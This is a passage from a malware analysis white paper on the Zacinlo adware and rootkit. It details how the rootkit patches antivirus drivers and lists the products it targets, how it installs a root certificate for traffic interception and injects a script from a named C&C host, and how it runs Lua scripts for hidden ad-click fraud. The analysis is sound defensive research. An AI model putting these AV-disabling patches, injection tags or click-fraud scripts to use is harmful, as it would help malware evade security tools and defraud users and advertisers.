</tr>
<tr>
<td>Norman_Malware_Cleaner</td>
</tr>
<tr>
<td>OPSSVC</td>
</tr>
<tr>
<td>pcctmon</td>
</tr>
<tr>
<td>PSUAMain</td>
</tr>
<tr>
<td>PSUAService</td>
</tr>
<tr>
<td>QUHLPsvc</td>
</tr>
<tr>
<td>SASCore</td>
</tr>
<tr>
<td>sbamtray</td>
</tr>
<tr>
<td>SDRService</td>
</tr>
<tr>
<td>sfc</td>
</tr>
<tr>
<td>SnntpService</td>
</tr>
<tr>
<td>Sophos UI</td>
</tr>
<tr>
<td>spideragent</td>
</tr>
<tr>
<td>SUPERAntiSpyware</td>
</tr>
<tr>
<td>twister</td>
</tr>
<tr>
<td>twssrv</td>
</tr>
<tr>
<td>vba32ldr</td>
</tr>
</tbody>
</table>

HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Wed, 14 Mar 2018 11:22:14 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
T_IP: 100.100.100.100

8k
After passing the information along to the C&C, it checks if the current user is administrator and builds the download URL using its file version. It then starts downloading a password-protected archive from "174.37.56.248" which will be saved in a directory with a name generated in the "YearMonthDay" format. This folder resides in the "%temp%" directory. The file(s) will be extracted in the same directory using the hard-coded archive password "!@#$%^&*".

Depending on the file version of the executable, the archive may contain multiple files. For instance:

- **Version 2.0.7.1** only contains **ct.exe** executable
- **Version 2.0.2.1** contains, besides **ct.exe, qdcomsvc** executable and **radardt** rootkit component

The executable is started with `-install` parameter using **ShellExecuteA** API.

```
"cmd /c start ".\ct.exe"-install"
```
The Netfilter Driver

The driver is part of a commercial framework used for filtering network packets on Windows. It can parse different protocols and redirect connections, and supports IPv6 and IPv4. It is used by the adware to intercept network traffic, inject scripts in web pages and MITM attack. More information can be found on the website netfiltersdk.com.

The Rootkit

The component corresponds to radarndt.sys file.

1) It registers IRP Major Functions but only the IRP_MJ_SHUTDOWN IRP routine will be used. It is registered using IoRegisterShutdownNotification in order to receive a notification when the system is shut down. This notification is used by rootkit to register itself with a random generated key name in service registry.

2) A device name called \Device\DrvProtect is registered.

3) Checks for PowerMode / PowerMode2 registry values in "\Registry\Machine\SYSTEM\CurrentControlSet\Control\Network". Depending on which one is set in registry by zacinlosvc component it will filter the executables and access permissions to these. If PowerMode2 is set then it will enable PowerMode filter too.

4) Creates atimode registry value in "\Registry\Machine\SYSTEM\CurrentControlSet\Control\Network".

5) Decrypts its encrypted strings (image names and certificate subject names).

Before decryption
After decryption

6) It creates a backup of its service registry values data (ErrorControl, Start, Type, Tag, Group, ImagePath, St).

<table>
<thead>
<tr>
<th>Value</th>
<th>Type</th>
<th>Length</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>ErrorControl</td>
<td>REG_DWORD</td>
<td>4</td>
<td>0 (0x00000000)</td>
</tr>
<tr>
<td>Group</td>
<td>REG_SZ</td>
<td>32</td>
<td>System Reserved</td>
</tr>
<tr>
<td>ImagePath</td>
<td>REG_SZ</td>
<td>60</td>
<td>system32\drivers\cgswzcf.sys</td>
</tr>
<tr>
<td>St</td>
<td>REG_SZ</td>
<td>40</td>
<td>odg51v8\9TRIgy\1.8A8</td>
</tr>
<tr>
<td>Start</td>
<td>REG_DWORD</td>
<td>4</td>
<td>0 (0x00000000)</td>
</tr>
<tr>
<td>Type</td>
<td>REG_DWORD</td>
<td>4</td>
<td>1 (0x00000000)</td>
</tr>
</tbody>
</table>

7) Decrypts St data then it will be used to build the backup folder path and command line for its executable.

8) More paths are built:

   - \??\X:\windows\system32\config\SYSTEM
   - \??\X:\windows\system32\config\HARDWARE
   - \??\X:\windows\system32\config\BCD00000000

   where "X" is the Windows drive letter. These paths will be used to create Registry backups.

9) The data of values set_st, set_bl, set_pt, atimode from \Registry\Machine\SYSTEM\CurrentControlSet\Control\Network are decrypted and used.
10) Different kernel callbacks are registered (\texttt{PsSetLoadImageNotifyRoutine}, \texttt{PsSetCreateProcessNotifyRoutine}, \texttt{PsSetCreateProcessNotifyRoutineEx}, \texttt{ObRegisterCallbacks}, \texttt{CmRegisterCallback}, \texttt{FltPreOperationCallback}).

a) \texttt{PsSetLoadImageNotifyRoutine} kernel callback is used to verify new images that have specific certificates used for digital signatures.

The subject name is extracted from the process file certificate and checked against two test sets, which include blacklisted certificate subject names.

The first one is based on the \texttt{atimode} registry data and, should a match occur, it finds image's entry point and patches it with \texttt{"33 C0 C3"} (\texttt{xor eax, eax; ret}).

If subject name has been found blacklisted in the second test, additional tests are carried, which will result in a patched entry point with \texttt{"33 C0 C3"} (\texttt{xor eax, eax; ret}) or a global blacklist variable to be set to \texttt{"1"} in case of a positive match.

For an image to have entry point patched it needs to have one of the following statements true:

- \texttt{OriginalFileName} field from file version information of the image must contain \texttt{"MBAMSWISSARMY.SYS"}, \texttt{"MBAMCHAMELEON.SYS"}.
- image name must contain one of the following:

<table>
<thead>
<tr>
<th>\texttt{DSARK64.SYS}</th>
<th>\texttt{\BAPIDRV64.SYS}</th>
<th>\texttt{\KBNDRV.SYS}</th>
</tr>
</thead>
<tbody>
<tr>
<td>\texttt{\MWAC.SYS}</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>\texttt{\MBAMSWISSARMY.SYS}</td>
<td>\texttt{\SYMNETS.SYS}</td>
</tr>
<tr>
<td>\texttt{\PANDA_URL\FILTERINGD.SYS}</td>
<td>\texttt{\NNSPIHSW.SYS}</td>
<td>\texttt{\HITMANPRO}</td>
</tr>
</tbody>
</table>

If the image name contains one of the following:

<table>
<thead>
<tr>
<th>\texttt{\MBAM.SYS}</th>
<th>\texttt{\ASWSP.SYS}</th>
<th>\texttt{\AVGSP.SYS}</th>
</tr>
</thead>
<tbody>
<tr>
<td>\texttt{\SYMEVENT64X86.SYS}</td>
<td>\texttt{\ASWMONFLT.SYS}</td>
<td>\texttt{\AVGMONFLT.SYS}</td>
</tr>
<tr>
<td>\texttt{\SRTSP64.SYS}</td>
<td>\texttt{\WDFILTER.SYS}</td>
<td>\texttt{\AVGNTFLT.SYS}</td>
</tr>
<tr>
<td>\texttt{\KLIF.SYS}</td>
<td>\texttt{\KLBACKUPFLT.SYS}</td>
<td>\texttt{\PSINF.LFILE.SYS}</td>
</tr>
<tr>
<td>\texttt{\GZFLT.SYS}</td>
<td>\texttt{\TRUFOS.SYS}</td>
<td>\texttt{\ATC.SYS}</td>
</tr>
<tr>
<td>\texttt{\EPP64.SYS}</td>
<td>\texttt{\ZAM64.SYS}</td>
<td>\texttt{\ATC.SYS}</td>
</tr>
</tbody>
</table>

the global blacklist variable is set to \texttt{"1"}. 

\textbf{White Paper}
b) **PsSetCreateProcessNotifyRoutine** kernel callback is used to save information about the newly created process and its parent process in a structure. This will be used later in other kernel callbacks. In case the process exits, the saved information will be freed.

c) **PsSetCreateProcessNotifyRoutineEx** kernel callback uses the information saved in **PsSetCreateProcessNotifyRoutine** kernel callback to identify the blacklisted processes and terminate them. If the process name is a blacklisted name or the process file certificate subject name is blacklisted or its original file name is blacklisted, the process is initially suspended and then terminated.

d) **ObRegisterCallbacks** kernel callback is used to intercept process creation. If the parent of the newly created process is **TASKMGR.EXE** or an AV product and the newly created process is one of the adware components, the process is created with limited query information.

e) **CmRegisterCallback** kernel callback is used to block access to its whitelisted registry paths for blacklisted processes. The component checks for several actions:

- **RegNtEnumerateKey** (key enumeration) is blocked for those processes that don't contain LegalCopyright **SMARTSOFT** (LegalCopyright for its components) and the registry path is a whitelisted one.

- **RegNtPreDeleteValueKey** (value key deletion) is allowed for **DependOnGroup** value key and for those processes that have LegalCopyright set to **SMARTSOFT**, **SERVICES.EXE** is also an allowed process. Access is blocked for all the rest if the registry path is a whitelisted one (\DATAUP) or included in set_pt registry data value.

- **RegNtPreSetValueKey** (set value data) is blocked for those processes that don't have LegalCopyright set to **SMARTSOFT** and one of the following statements is true:
  - If the registry path is whitelisted and if the process is **SERVICES.EXE** for value name **DeleteFlag** and **Start** or if the process is not **SERVICES.EXE**
  - If the process is not in the whitelist given by the set_pt registry value

- **RegNtDeleteKey** (key deletion is blocked for those processes who don’t contain LegalCopyright **SMARTSOFT** if registry path is a whitelisted one (\DATAUP)).

f) **FltPreOperationCallback** kernel callback is used to “redirect” access from its backup folder files to a legitimate one or to block access to its components.

If the filename doesn’t contain “\DEVICE\HARDDISKVOLUME”, MajorFunction is IRP_MJ_DEVICE_CONTROL and the IOCTL is equal with **0x4D014** (IOCTL_SCSI_PASS_THROUGH_DIRECT) or **0x4D030** (IOCTL_ATA_PASS_THROUGH_DIRECT) then access is denied.

If the path is whitelisted and the process does not have the LegalCopyright blacklisted and it is not “SERVICES.EXE” then:

- if MajorFunction is IRP_MJ_SET_INFORMATION, access will be denied
- if CreateFile with CreateDisposition FILE_DELETE_ON_CLOSE, it will be blocked
- if the process name is “EXPLORER.EXE” or process name is a blacklisted name, the access will be denied

If a process attempts to access the driver from its backup folder (in our case “\SYSTEM32\SVNROTE\ZACINLO.SYS”), “TargetFileObject” will be modified with “\??\C:\Windows\System32\drivers\mspclock.sys”, a legitimate Microsoft file, and the callback will be marked as dirty and STATUS_REPARSE is returned.

If a process tries to access the executable from its backup folder (in our case “\SYSTEM32\SVNROTE\ZACINLO.EXE”), “TargetFileObject” will be modified with “\??\C:\Windows\System32\calc.exe”, a legitimate Microsoft file and the callback will be marked as dirty and STATUS_REPARSE is returned.

**STATUS_REPARSE** return is usually used for redirections to other files in a minifilter.
11) Registered minifilters will be verified and those drivers which contain in the name "DRIVERS\WDFILTER.SYS" or have a blacklisted certificate, depending on the major function, will be verified against a set of blacklisted names and the routines PreOperation and PostOperation for those drivers which have the name blacklisted will be patched with "B8 01 00 00 00 C3" ("mov eax, 1; ret")

- a. if the major function is 0 (IRP_MJ_CREATE) then the driver name is checked against

| \MBAM.SYS | \ASWMONFLT.SYS | \AVGMONFLT.SYS | \SRTP64.SYS | \WDFILTER.SYS |
| \AVGNTFLT.SYS | \KLIF.SYS | \KLBACKUPFLT.SYS | \PSINFILE.SYS | \GZFLT.SYS |
| \TRUFOS.SYS | \EPP64.SYS | \ZAM64.SYS |

- b. if the major function is 6 (IRP_MJ_SET_INFORMATION), the driver name is checked against "AVGNTFLT.SYS"

- c. if the major function is different than 0 or 6, the driver name is checked against

| \SRTP64.SYS | \SYMEFASIS64.SYS | \WDFILTER.SYS |
| \AVGNTFLT.SYS | \AVGNTFLT.SYS |

12) Verifies the drivers registered in PspCreateProcessNotifyRoutine by searching PspCreateProcessNotifyRoutine table entries

- a. if the driver name contains "\DRIVERS\WDFILTER.SYS" or has a blacklisted certificate additional checks are made based on the driver name:

- b. if the driver name contains one of the following:

| \ASWSP.SYS | \AVGSP.SYS | \SYMEVENT64X86.SYS |
| \GZFLT.SYS | \ATC.SYS |

then the registered routine will be patched with "C3" ("ret")

- c. if the driver name contains "EPP64.SYS" or "MFEHIDK.SYS" then the registered routine will be patched with "B8 01 00 00 00 C3" ("mov eax, 1; ret")

13) Creates a thread which will check if a debugger is active. If the debugger is enabled a BSOD will happen.

14) Register its minifilter.

15) Register and loads NetFilter driver component.

16) Searches for routine addresses of NtCreateUserProcess and ZwResumeThread in ntdll.dll exports.

17) A new thread is created which iterates continuously:

- a. checks for set_st, set_pt, atimode, if the values doesn’t exists in registry, they will be created using the hard-coded data, then if the system is not in a shutdown progress it searches for winlogon.exe and if it finds KeBugCheck will be called.

- b. only for the first loop it will search after explorer.exe process and if exists it will call the routines that verifies registered drivers as minifilters and drivers registered in process notify routines

- c. if the global blacklisted image is set to "1" then check for the existence of explorer.exe process and if it has been found, this thread will be put to sleep for 20 seconds, then it will call the routines that verifies registered drivers as minifilters and drivers registered in process notify routines and the global blacklisted variable will be cleared

- d. only for the first loop it will search after services.exe and if it has been found then using the searched function NtCreateUserProcess it will create a usermode process for the executable given by St registry value data. The same mechanism is applied on a list of hardcoded files (in our case it doesn’t exists).
Zacinlo

The component corresponds to zacinlosvc.exe or msidntld.exe file.

It is started by the radardt rootkit component with -starup as the first parameter. It will try to make a setting so that processes with different Integrity Levels (IL) can communicate (UIPI value from HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System will be set to "1").

Several threads with specific functionality will be created, as described below.

The main thread is responsible for updating the svcvmx component, if needed. Before communicating with the C&C it searches for an executable which contains _Prikyl_ or _Jetbrains_ in the Copyright field of file version information in %localappdata% or %programfiles%, depending on an internal flag. If the file is not found it will be downloaded in a folder from %localappdata%. The path and the filenames will be added in the set_pt value data; this field is used to whitelist the files in the rootkit component. After that, it starts collecting some user system information and communicating the information to the www.userbest.com:8080/report/lp command and control center for delivering the current version of the svcvmx component. If the C&C is offline or it sends invalid data, it starts communicating with www.yimgcdn.com:8080/repo001/lp to get the same component. The C&C response is initially decrypted and then used.

If the version doesn’t match the found file or it needs updating, based on svcvmx_time registry value, it will start downloading the component from the url field, unzip the downloaded archive into the found file directory, then execute the file with the same name as the archive name with the parameters field value as command line arguments. Every time the archive is downloaded, the value of svcvmx_time will be updated with the current timestamp in the HKLM\SOFTWARE\Wow6432Node\Microsoft\Network\FileSync Registry key. If it doesn’t require updating, it will make sure the executable gets started.
Every query about the file version of the svcvmx component gets reported to the Command and Control center via the admin panel API.

One thread will be responsible for installing and importing the server certificate.

The malware drops a server certificate in `%temp%\msidntfs\SSL` or `%windir%\temp`. This server certificate will be installed into the Windows Certificate Store as Trusted Root Certification Authorities.

The component searches recursively in `%PUBLIC%` and `%ALLUSERSPROFILE%` for "cert8.db" (the Firefox certificates database) and "opcacrt6.dat" (the Opera certificate authorities database) files. If they are found, the certificate gets imported in the certificate databases found. The certificate will then be converted into PEM format and placed everywhere in `%PROGRAMFILES%` and `%PROGRAMFILES(x86)%` where a directory called "ca-certs" is found.

Three of the created threads are responsible for installing the NetFilter SDK driver (used for MITM), as well as for the actual MITM process and for injecting a JavaScript script in the loading web page, respectively. A demo version of the The NetFilter SDK driver will be installed if it is not already installed under the name `msidntfs` and will be used to handle the MitM process, even on SSL, and inject a JavaScript script into the loading web page. The script will be injected right before the "</head>" html tag element.

The injected script is:

```html
<script type="text/javascript" charset="utf-8" id="tr-app" src="hxxps://cdn.optitc.com/jquery.min.js?u=default&f=2&s=500,400,50,50"></script>
```

The following processes are targeted by the Man-in-the-Middle hijacking mechanism:
Another thread is responsible for updating the malware's registry configuration. The registry configuration is downloaded from the C&C at `http://optim.com`

```
POST /client-apd HTTP/1.1
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Length: 320
Host: optim.com

0880792a78ca046539a8cbf312bc1b3877b5cc0508e813b8f1278f8170c78fba4797896cd7b7871fc3a782c210a12cbf940db408056dfb64a856a23abf
dc01143a50ef6b9db21d5c8c81d63529c4c16b2f6393ccf5e99342d4eaf7c34d7e89ab8054398772658298b8e34895101823
6a5b284dce9e261d5f777c94ec0502a2b9312a6f3c161d25e0c30e3ee6edbcf04576c6cd503e555555555
```

Date: Tue, 20 Jan 2018 10:38:12 GMT
Content-Type: text/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.36

In this case, the C&C response is decrypted, parsed, and the following values are saved in `HKLM\SYSTEM\CurrentControlSet\Control\Network` as follows:

- `.ati` as `atimode` registry value
- `.bl` as `set_bl` registry value

In this case, `shield_count` registry value data from `HKLM\SYSTEM\CurrentControlSet\Control\Network` will be set to `.0`.

If the C&C is offline, a connection to `http://www.baidu.com` is attempted to test the internet connection. Depending on the available connectivity and on the data of `shield_count` registry value, `PowerMode` or `PowerMode2` registry values will be set in `HKLM\SYSTEM\CurrentControlSet\Control\Network`. If `shield_count` data is larger than 0x90 then `PowerMode2` will be set, otherwise `PowerMode` will be set in case `shield_count` data is larger than 0x48. The `PowerMode` and `PowerMode2` values will be used by the rootkit component to filter the executables and their access permissions.
The main functionality of this script is to display ads based on the user’s configuration and visited pages. The ads are received from the C&C along with configuration that specifies how they should be displayed. Ads can be displayed either on their own or only if another external ad can be replaced. Their aggressiveness is highly configurable. Some ads can be configured to have a close button or fade away after some time while others can not be closed.

This is the script called from "hxxps://cdn.optitc.com/jquery.min.js?u=default&f=2&s=500,400,50,50". It uses multiple open source javascript libraries to help with its malicious activities:

- sizzlejs → https://github.com/jquery/sizzle; obfuscated
- UAParser → https://github.com/faisalman/ua-parser-js; obfuscated
- JSON → https://github.com/douglascrockford/JSON-js/blob/master/json2.js;
- some functions from https://github.com/dperini/ContentLoaded/

The script is called with 3 parameters, as shown in the query above:

- u=default, specifies the url parameter to reply when contacting the C&C
- f =2, specifies when to contact the C&C, in our case the C&C is contacted when the current window is the topmost browser window
- s=500,400,50,50; will be replayed as is to the C&C

Information about the visited website and browser configuration will be gathered and sent to the C&C by dynamically creating a new script element in the HTML that links to "hxxps://cdn.optitc.com/serve" with the following query strings added:

- url: repeated value of u from the original query
- z0: base64 encoded information about the website and browser configuration
- all other parameters from the original query except u and f are replayed

In our case, the script link was:

https://cdn.optitc.com/serve?url=default&z0=WyIiLDE5MjAsMTA4MCwxODk0LDY5OCwiMTEwMjAyMjIwMCwzMCwiMTEwMjAyMjIwMCw2NCIsICJ0ZWxlY3Rpb24gVHlwZSIsICJ0aXRsZVwiLCJuYW1lIiwiZmlsZTovLy9yZXNldC9hY2NvdW50dG9yZ2V0LmNvbSIsICJ0aXRsZVwiLCJvdXJlciBhbmQgUCJ9fQ==&s=500%2C400%2C50%2C50

The following information is encoded in the z0 parameter:

- screen width
- screen height
- width of the browser window
- height of the browser window
- flash version
- color depth
- whether the script is running in the topmost window
- whether orientation is available
- all the enabled browser features (e.g.: Flash, Java, cookie etc)
- the topmost browser window
- visited URL
- timezone
- character encoding of the visited site
- browser language
- current time
- user agent
- referrer of this site
- page title
- all cookies of the page

This new script contains a call to a function from the original script (applyConfig) to which a base64 encoded configuration JSON is passed. This JSON contains information about advertisements to be displayed and their interaction with the user. Several types of ads are handled in code:

- **match** – checks whether the size of the screen and browser window satisfies size requirements of the advertisements
- **external** – an URL is provided to which a new script element will be created and linked
- **js_redirect** – redirects the user to another page (the referrer field is specified from the configuration)
- **js_chat_room** – loads a script and an optional CSS style sheet received in the configuration
- **popunder** – calls a function called popunder on an URL specified in the configuration. This function is not implemented yet, which may hint that the script is still under development.
- **banner** – the main way of displaying ads. It waits for the DOM content to load, then either replaces or adds advertisements to the current page. Multiple tests can be conducted before an ad is displayed: whether a DOM element that satisfies size requirements exists; whether the src, href or className attribute of the element matches a certain regular expression; whether a certain CSS selector is matched; custom checks in JavaScript can also be dynamically specified and run from the configuration.
The JSON file contains many configuration fields, of which some of the most important ones are:

- **ads** – list with ad scripts to be inserted
- **type** – the ad type
- **id** – new element ID
- **cls** – new element class to be appended
- **width** – width of the new ad
- **height** – height of the new ad
- **test_enabled** – enables searching for a specific element in page, **width** and **height** are then used for matching
- **tip_enabled** – enables a tip by appending a new DIV element to the ad
- **tip_text** – text shown in the tip
- **output** – possible values:
  - 1 – display only first ad in the ads list
  - 2 – display only one random ad from the ads list
  - 3 – replace elements with ads
  - 4 – display all ads from the list
- **method** – method for inserting ads, has possible values:
  - 1 – add fixed element
  - 2 – add absolute element
  - 3 – replace an element in the page with ads
  - 4 – insert as first child of element
  - 5 – insert as last child of element
  - 6 – insert before element in parent
  - 7 – insert after element in parent
- **replace_limit** – maximum number of elements to be replaced with ads
- **replace_method** – possible values:
  - 1 – add all ads in order
  - 2 – all ads in random order
  - 3 – extend or shrink the ads list to match the number of elements found in order
  - 4 – same as 3 but randomized
- 5 – extend or shrink the ads list to at most \textit{replace\_limit} ads in order
- 6 – same as 5 but randomized
- 7,8 – same as 5,6 but at most \textit{pick\_limit} ads

\textit{align} – horizontal align type

\textit{valign} – vertical align type

\textit{x} – horizontal alignment value

\textit{y} – vertical alignment value

\textit{close\_button} – enables close button on ad

\textit{close\_auto} – enables auto close for an ad in \textit{close\_timeout} seconds

\textit{fade\_enabled} – enables fade out of an ad in \textit{fade\_timeout} seconds

\textit{test\_selector} – checks whether an element contains some CSS styles

\textit{test\_offset\_x} – slack space on X axis

\textit{test\_offset\_y} – slack space on Y axis

\textit{test\_x} – possible values: \textit{ud}. Checks for a page element:

- \textit{u} : elem.width < json.width + json.test.offset.x
- \textit{d} : elem.width > json.width - json.test.offset.x

\textit{test\_y} – similar to \textit{test\_x} for height

An example of a configuration JSON:
Payload - Master

The component corresponds to svcvmx.exe file.

The purpose of this component is to communicate with the C&C, execute the Payload – Slave components and send data through pipe to the slave. It integrates the source code of three open-source projects:

- Chromium
- Libcurl
- Crypto++

A pipe named SVCVMX(72CE8DB0-6EB6-4C24-92E8-A07B77A229F8) is created and it is used to communicate with the slave component (vmxclient.exe).

Different requests are made to C&C. The first request is made to receive a token which will be used in subsequent requests.
Request parameters:

- **action** – this field indicates the request action (1 = first request, 3 = later requests)
- **cid** – generated GUID saved in %localappdata%\Microsoft\Windows Media\userdata2 (the path may differ depending on the file version). This file in encrypted using CryptoAPI – CryptProtectData and decrypted using CryptUnprotectData when needed.
- **client** – formatted string which contains: generated GUID by Zacinlo component (located in registry at value Liveup from HKLM\SOFTWARE\Wow6432Node\Microsoft\Network\FileSync), setup time (located in registry at value install_time from HKLM\SOFTWARE\Wow6432Node\Microsoft\Network\FileSync), file version of the binary file from the windowsmanagementservice service, the number of ct.exe processes, the number of dataup.exe processes, "1" if svcvmx is in auto-run (\HKLM\Software\Microsoft\Windows\CurrentVersion\Run) otherwise "0"
- **browser_ver** – libcef version
- **cpu_cores** – number of cpu cores
- **cpu_hz** – cpu frequency
- **fl_ver** – flash version
- **memory** – total physical memory
- **os_ver** – operating system version
  - 0 – old Windows Operating System (unsupported by this component)
  - 1 – Windows XP
  - 2 – Windows Server or XP x64
Later requests are made to retrieve the list of websites that need to be visited.
To identify the slave component, it searches for a file that has the **Copyright** field in the file version information set to *Jetbrains*. If the file is found, it will be executed with the `-startup` command line to signal the slave to initialize its components.

**Payload - Slave**

The component corresponds to `vmxclient.exe` file.

This component acts as a custom hidden browser used to render webpages and advertisements in the background. It uses CEF (Chromium Embedded Framework) for webpage rendering and Lua scripts to emulate human interaction with the page by performing actions like scrolling or clicking on the rendered webpage, as well as to control browser actions dynamically: to reload the page, to go to the previous page, or even inject javascript in the page.

It gets started by the Payload – Master (`svcvmx.exe`) component with `-startup` argument. It is hidden from the user by being started in another desktop than the default one. The name of this desktop is "srcvmx_desktop".

The pipe created by the master component ("SVCVMX(72CE8DB0-6EB6-4C24-92E8-A07B77A229F8)") is opened and used to receive information about what webpages to visit. It binds multiple C functions to Lua with the Lua C API. Those functions will be used to dynamically control the actions of CEF from scripts received from the C&C.

Because it uses CEF to render webpages, multiple processes will be spawned, in a manner similar to how Chromium/Chrome browsers spawn many processes. There is a main process, a process used for GPU rendering, one for the Pepper Plugin API (PPAPI) used for Flash Player, and a process for every tab or, in our case, webpage rendered simultaneously.
An example webpage is described by the following JSON received from the CnC:

```json
{
    "id": 19883831,
    "sn": "2T771BU6GN",
    "name": "pri3-1-0 video2 m1",
    "url": "http://www.cookie.com",
    "mobile": "",
    "insertjs": "",
    "allowbigpic": 1,
    "historylength": 17,
    "needoldcookie": 696,
    "allowflashnumber": 100,
    "is_mobile": 0,
    "flver": "27.0.0.130",
    "st": [30, 45],
    "subpage": "",
    "user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.15 Safari/537.36",
    "size": [100, 100],
    "referer": "",
    "click": "",
    "clickwhitelist": "",
    "customscript": "InsertJs("<script type="javascript" src="/\www.eereader.com/ads6.js"></script>"
"function RandScroll(id){
SendMouseMoveBrowser(id);
local count = RandInt(1, 1);
Sleep(RandInt(1, 1));
for i = count, 1, -1 do
SendMouseWheel(-500, id);
tSleep(RandInt(2, 5));
end}
function Main()
OpenUrl("http://www.riverfallsjournal.com/sports/college/4169585-falcons-open-final-season-karges-wins");
Sleep(RandInt(10, 11));
local id=TopWindowId()
RandScroll(id)
Sleep(RandInt(20, 21))
RandScroll(id)
Sleep(RandInt(20, 21))
end
Main();",
    "priority": 0
}
```

And the following data is sent on the pipe and received by the slave component:
A new browser window is created with the desired configurations such as user agent, flash version and size. The Lua script present in the customscript field of the JSON is then executed using the Lua interpreter. An example of such a Lua script is:

```lua
InsertJs("<script type="text/javascript" src="//www.eereader.com/ads6.js"></script>"

function RandScroll(id)
  SendMouseMoveBrowser(id);
  local count = RandInt(1, 1);
  Sleep(RandInt(1, 1));
  for i = count, 1, -1 do
    SendMouseWheel(-500, id);
    Sleep(RandInt(2, 5));
  end
  end

function Main()
  OpenUrl("http://www.riverfallsjournal.com/sports/college/4169585-falcons-open-final-season-karges-wins");
  Sleep(RandInt(10, 11));
  local id=TopWindowId();
  RandScroll(id);
  Sleep(RandInt(20, 21));
  RandScroll(id);
```
Sleep(RandInt(20, 21));
end
Main();

The InsertJs, SendMouseMoveBrowser, SendMouseWheel, RandInt, OpenUrl, TopWindowId and Sleep functions are implemented natively and bound to Lua. The code above opens a URL and inserts a javascript in it. It waits 10 or 11 seconds then scrolls the page downwards every 20-25 seconds a couple of times. The javascript inserted displays a video ad.

Scrolling is implemented in all scripts we received from the C&C. Other scripts did not insert a javascript; instead they opened a URL with or without a referrer. Those that don't inject javascript usually point to an ad server such as http://www.feisearch.com/to.php or http://www.searchingnetwork.com/to.php, while the ones that do inject javascript in the page usually lead to legitimate websites.

The following functions are bound to Lua and can be used from the received scripts to control actions in the browser:

- **Reload, Stop, Back, Forward** – navigate through already-visited webpages
- **RandInt** – return a random integer between two numbers
- **Debug** – display a message for debugging purposes
- **InsertJs** – insert the specified javascript in the browser
- **SleepMS, Sleep** – sleep for a number of milliseconds or seconds
- **CurrentURL** – returns the current URL
- **SetCurrentDeviceHeightWithBar, SetCurrentDeviceHeightDValue** – used to change the size of the window
- **SendMouseClickAndMoveBrowserJs, SendMouseClickAndTouchJs, SendMouseClickAndMoveJs, SendMouseClickCenterJs, SendMouseClickJs, SendMouseMoveJs, SendMouseMove, SendMouseWheel, SendMouseMoveRect, SendMouseClickRect, SendMouseClick, SendMouseMoveBrowser, TouchScroll** – used to mimic mouse motion, scrolling and clicking
- **InputString** – mimic keyboard presses to input a string
- **ExecuteScriptAndReturnValue, ExecuteScript** – used to execute javascript
- **TopWindowId** – used to retrieve a handle to the top window of the browser
- **OpenString, OpenUrl, OpenUrlWithReferer** – used to navigate to an URL. The **OpenString** function can be used to inject JavaScript when loading a page.

The attacker can leverage those functions to perform any action on a website inside the custom browser.

Some of the pages are visited while impersonating a mobile device by changing the size and user agent parameters in the received JSON. For example, it uses the following user agent: "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/55.0.2883.79 Mobile/14C5077b Safari/602.1" to make it appear that an iPhone is visiting the webpage.
We were able to make the browser window visible and monitor its actions on the page. However, all of the video ads it was trying to display were no longer available.

![Screenshot of a webpage with a video ad](image)

**Adware Killer**

The component corresponds to `winscr.exe` file.

This component integrates the source code of two different open-source projects:

- Qt
- Zlib

The goal of this component is to:

- terminate and remove the files of the running processes, services and auto-run files that it receives as either file name list or MD5 hash list
- take screenshots of the victim’s desktop and send them to the C&C
- report back to the C&C the file paths of applications set to run automatically at Windows startup and service list, depending on the received file name list.
To run, it needs `-startup` parameter. It starts by creating \{A4974F22-4BC8-45FA-BBC4-F1CF43265422\} mutex. Several requests to the same C&C are made using API, each of them having specific functionality.

The first request is made to receive a list of MD5 hashes. These hashes belongs to all kinds of adware files and it seems no particular adware family is targeted. For every binary file of the running processes, a MD5 hash is computed and compared against the received list. In case of a match, the corresponding process will be killed and the corresponding files will be deleted.

The purpose of the second request is to receive a list of file names categorized in two groups: `autostart` and `serviceexists`. Autostart category list will be used to delete those file names that match this list from the registry entries path `HKLM\Software\Microsoft\Windows\CurrentVersion\Run` and `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` and services which are marked as autostart. The `service exists` category will be used to delete those existing services whose file names are in this file names list.
This API requests handling of screenshot uploads and the sending of additional information about the victims. The query string contains:

- `guid` - client unique ID (located in registry at value "Liveup" from `HKLM\SOFTWARE\Wow6432Node\Microsoft\Network\FileService`)

- `ver` - file version of the "windowsmanagementservice" service

- `setuptime` - install time (located in registry at value "install_time" from `HKLM\SOFTWARE\Wow6432Node\Microsoft\Network\FileService`)

- the following fields are set with "1" if the process with the same name as the field's is running or "0" if it's not:
  - `ct`
  - `dataup`
  - `cpx`
  - `svcvmx`
  - `qdcomsvc`
  - `szpsrv`

- a list of running anti-malware processes. The anti-malware process names are hardcoded in the binary file:

- `reg` - depending on which of its components are set in `HLKM\Software\Microsoft\Windows\CurrentVersion\Run` it will set this value:
  - 1 - svcvmx
  - 2 - cpx
  - 3 - both
  - empty if none of the above

- `autostart` - auto run files registered in `HLKM\Software\Microsoft\Windows\CurrentVersion\Run` and `HLKM\Software\...`
Microsoft\Windows\CurrentVersion\Run registry paths which are not whitelisted.

- serviceexist – list of services that are not whitelisted.
- drmkpro – “1” if drmkpro64 service exists, otherwise this will be set to „0”.

The whitelisted file names are hardcoded in this binary:

```plaintext
POST /api/xs? xml=1&g=1522042654&c=54e859d3a2bce4dadecb8d312c3433285495f54e2564&d=128de185a136d8c32936750c56ebe1f43f527454466b0235064c8aa26349851c448d
ac154f259250b03c4d69f0fe690571f3a2a188ea9e5244f56901d09f9520f6202f2f3e2220d76f58a8de6f679b115976a0b0bb152b52756e7
